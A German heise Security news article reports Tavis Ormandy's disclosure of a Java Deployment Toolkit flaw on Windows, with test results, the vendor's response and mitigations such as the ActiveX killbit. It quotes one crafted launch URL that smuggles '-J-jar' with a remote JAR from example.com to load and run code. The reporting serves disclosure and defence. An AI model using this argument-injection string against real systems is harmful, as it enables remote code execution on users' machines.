Java-Exploit startet lokale Windows-Anwendungen
Eine bislang unbekannte Schwachstelle in Java ermöglicht es, beliebige lokale Anwendungen zu starten. Prinzipiell ließen sich so per FTP Trojaner nachladen und starten. Ein harmloser Exploit verdeutlicht das Problem.
- Daniel Bachfeld
Tavis Ormandy hat eine Sicherheitslücke im Java Deployment Toolkit (JDT) unter Windows aufgedeckt, durch die präparierte Webseiten beliebige Anwendungen auf einem Windows-PC starten können. Möglich wäre beispielsweise, per FTP einen Trojaner nachzuladen und zu starten. JDT ist seit Java 6 Update 10 im Lieferumfang von Java enthalten und soll Entwicklern das Verteilen von Anwendungen erleichtern. Laut Ormandy beruht das Problem auf der ungenügenden Filterung von URLs, durch die sich beliebige Parameter an das zugrunde liegende Java Web Start (JWS) übergeben lassen. JWS selbst kann über das Java Network Launching Protocol (JNLP) externe Java-Anwendungen nachladen und in der VM ausführen.
Durch die Übergabe präparierter URLs an die Funktion launch (etwa http: -J-jar -J\\\\www.example.com\\exploit.jar none) lässt sich aber weiterer Java-Code nachladen und die Java-VM dazu bringen, darüber lokale Anwendungen mit den Rechten des Anwenders zu starten. Ormandy hat einen Demo-Exploit veröffentlicht, der die Datei calc.jar nachlädt, die wiederum über die Kommandozeile den Taschenrechner startet.
Bei einem kurzen Test der heise-Security-Redaktion öffnete sich unter Windows XP mit Java 6 Update 18 und dem Internet Explorer 8 nach kurzer Zeit der Taschenrechner. Unter Windows 7 produzierte die Java-VM unter Internet Explorer 8 nur eine Fehlermeldung. Der Exploit soll unter Windows auch mit dem Firefox-Browser funktionieren; im Test tat er es jedoch nicht.
Ormandy hat Sun (jetzt Oracle) nach eigenen Angaben über das Problem informiert. Laut seinem Bericht fand der Hersteller die Schwachstelle jedoch nicht kritisch genug, um einen Notfall-Patch außerhalb des dreimonatigen Patch-Zyklus zu veröffentlichen. Ormandy empfiehlt, bis zum Erscheinen eines Updates, für den Internet Explorer das Killbit für das ActiveX-Control des JDT zu setzen. Dies kann man entweder wie von Microsoft beschrieben per Hand tun, oder etwas komfortabler mit dem Tool AxBan. Die CLSID des betroffenen Controls lautet CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. Beim Firefox soll es helfen, über das Setzen restriktiver Rechte den Zugriff auf die Datei npdeploytk.dll zu verhindern.
Siehe dazu auch:
- Java Deployment Toolkit Performs Insufficient Validation of Parameters, Bericht von Tavis Ormandy
(dab)